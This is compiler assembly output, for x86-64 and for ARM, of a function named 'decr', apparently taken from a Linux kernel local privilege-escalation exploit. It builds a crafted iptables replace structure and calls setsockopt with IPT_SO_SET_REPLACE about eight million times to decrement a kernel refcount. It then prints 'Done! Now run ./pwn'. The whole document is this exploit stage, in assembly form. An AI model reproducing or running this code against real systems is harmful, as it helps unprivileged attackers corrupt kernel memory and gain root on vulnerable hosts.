	.file	"extr_44300.c_decr.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"socket"
.LC1:
	.string	"malloc"
.LC2:
	.string	"icmp"
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC3:
	.string	"[!] Decrementing the refcount. This may take a while...\n"
	.align 8
.LC4:
	.string	"[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n"
	.section	.rodata.str1.1
.LC5:
	.string	"[+] Done! Now run ./pwn\n"
	.text
	.p2align 4
	.globl	decr
	.type	decr, @function
decr:
.LFB0:
	.cfi_startproc
	endbr64
	mov	edx, DWORD PTR IPPROTO_RAW[rip]
	mov	esi, DWORD PTR SOCK_RAW[rip]
	push	r12
	.cfi_def_cfa_offset 16
	.cfi_offset 12, -16
	push	rbp
	.cfi_def_cfa_offset 24
	.cfi_offset 6, -24
	mov	edi, DWORD PTR PF_INET[rip]
	push	rbx
	.cfi_def_cfa_offset 32
	.cfi_offset 3, -32
	call	socket@PLT
	mov	r12d, eax
	cmp	eax, -1
	je	.L9
	mov	edi, DWORD PTR MALLOC_SIZE[rip]
	call	malloc@PLT
	mov	rbp, rax
	test	rax, rax
	je	.L10
	mov	edx, DWORD PTR MALLOC_SIZE[rip]
	xor	esi, esi
	mov	rdi, rax
	mov	ebx, 8388608
	call	memset@PLT
	mov	DWORD PTR 8[rbp], 65563
	mov	edi, DWORD PTR 40[rbp]
	movabs	rax, 4294967297
	mov	QWORD PTR 0[rbp], rax
	lea	rsi, .LC2[rip]
	movabs	rax, 103079215178
	mov	QWORD PTR 16[rbp], 0
	mov	QWORD PTR 24[rbp], rax
	call	strcpy@PLT
	xor	r9d, r9d
	xor	r8d, r8d
	mov	ecx, 50
	mov	esi, 4096
	mov	edx, 7
	mov	edi, 65536
	call	mmap@PLT
	mov	edx, -1
	lea	rdi, .LC3[rip]
	mov	DWORD PTR 88[rax], -2111971059
	mov	WORD PTR 32[rbp], dx
	mov	QWORD PTR 40[rbp], rax
	mov	QWORD PTR 65567[rbp], rax
	call	printf@PLT
	lea	rdi, .LC4[rip]
	call	printf@PLT
	.p2align 4,,10
	.p2align 3
.L5:
	mov	edx, DWORD PTR IPT_SO_SET_REPLACE[rip]
	mov	esi, DWORD PTR SOL_IP[rip]
	mov	rcx, rbp
	mov	edi, r12d
	mov	r8d, 67584
	call	setsockopt@PLT
	sub	ebx, 1
	jne	.L5
	mov	edi, r12d
	xor	r12d, r12d
	call	close@PLT
	mov	rdi, rbp
	call	free@PLT
	lea	rdi, .LC5[rip]
	call	printf@PLT
.L1:
	mov	eax, r12d
	pop	rbx
	.cfi_remember_state
	.cfi_def_cfa_offset 24
	pop	rbp
	.cfi_def_cfa_offset 16
	pop	r12
	.cfi_def_cfa_offset 8
	ret
.L9:
	.cfi_restore_state
	lea	rdi, .LC0[rip]
	call	perror@PLT
	jmp	.L1
.L10:
	lea	rdi, .LC1[rip]
	mov	r12d, -1
	call	perror@PLT
	jmp	.L1
	.cfi_endproc
.LFE0:
	.size	decr, .-decr
	.comm	SOL_IP,4,4
	.comm	SOCK_RAW,4,4
	.comm	PF_INET,4,4
	.comm	MALLOC_SIZE,4,4
	.comm	IPT_SO_SET_REPLACE,4,4
	.comm	IPPROTO_RAW,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_44300.c_decr.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"socket\000"
	.align	2
.LC1:
	.ascii	"malloc\000"
	.align	2
.LC2:
	.ascii	"icmp\000"
	.align	2
.LC3:
	.ascii	"[!] Decrementing the refcount. This may take a whil"
	.ascii	"e...\012\000"
	.align	2
.LC4:
	.ascii	"[!] Wait for the \"Done\" message (even if you'll g"
	.ascii	"et the prompt back).\012\000"
	.align	2
.LC5:
	.ascii	"[+] Done! Now run ./pwn\012\000"
	.text
	.align	2
	.global	decr
	.syntax unified
	.arm
	.fpu softvfp
	.type	decr, %function
decr:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, lr}
	ldr	r3, .L11
	ldr	r2, .L11+4
	ldr	r1, .L11+8
	ldr	r2, [r2]
	ldr	r1, [r1]
	ldr	r0, [r3]
	sub	sp, sp, #12
	bl	socket
	cmn	r0, #1
	mov	r6, r0
	beq	.L9
	ldr	r3, .L11+12
	ldr	r4, [r3]
	mov	r0, r4
	bl	malloc
	subs	r5, r0, #0
	beq	.L10
	mov	r2, r4
	mov	r1, #0
	bl	memset
	mov	r4, #0
	mov	r3, #1
	mov	r0, #74
	mov	r1, #24
	ldr	r2, .L11+16
	str	r3, [r5]
	str	r3, [r5, #4]
	str	r4, [r5, #12]
	str	r0, [r5, #16]
	str	r1, [r5, #20]
	str	r2, [r5, #8]
	ldr	r1, .L11+20
	ldr	r0, [r5, #32]
	bl	strcpy
	mov	r3, #50
	mov	r2, #7
	mov	r1, #4096
	str	r4, [sp, #4]
	str	r4, [sp]
	mov	r0, #65536
	bl	mmap
	mvn	r2, #0
	ldr	r1, .L11+24
	add	r3, r5, #65536
	str	r1, [r0, #88]
	lsr	ip, r0, #8
	strh	r2, [r5, #24]	@ movhi
	lsr	r1, r0, #16
	lsr	r2, r0, #24
	str	r0, [r5, #32]
	strb	r0, [r3, #23]
	strb	ip, [r3, #24]
	strb	r1, [r3, #25]
	strb	r2, [r3, #26]
	ldr	r0, .L11+28
	bl	printf
	ldr	r0, .L11+32
	bl	printf
	mov	r4, #8388608
	mov	r9, #67584
	ldr	r8, .L11+36
	ldr	r7, .L11+40
.L5:
	mov	r3, r5
	mov	r0, r6
	ldr	r2, [r8]
	ldr	r1, [r7]
	str	r9, [sp]
	bl	setsockopt
	subs	r4, r4, #1
	bne	.L5
	mov	r0, r6
	bl	close
	mov	r0, r5
	bl	free
	ldr	r0, .L11+44
	mov	r6, r4
	bl	printf
.L1:
	mov	r0, r6
	add	sp, sp, #12
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, pc}
.L9:
	ldr	r0, .L11+48
	bl	perror
	b	.L1
.L10:
	ldr	r0, .L11+52
	bl	perror
	mvn	r6, #0
	b	.L1
.L12:
	.align	2
.L11:
	.word	PF_INET
	.word	IPPROTO_RAW
	.word	SOCK_RAW
	.word	MALLOC_SIZE
	.word	65555
	.word	.LC2
	.word	-2111971059
	.word	.LC3
	.word	.LC4
	.word	IPT_SO_SET_REPLACE
	.word	SOL_IP
	.word	.LC5
	.word	.LC0
	.word	.LC1
	.size	decr, .-decr
	.comm	SOL_IP,4,4
	.comm	SOCK_RAW,4,4
	.comm	PF_INET,4,4
	.comm	MALLOC_SIZE,4,4
	.comm	IPT_SO_SET_REPLACE,4,4
	.comm	IPPROTO_RAW,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
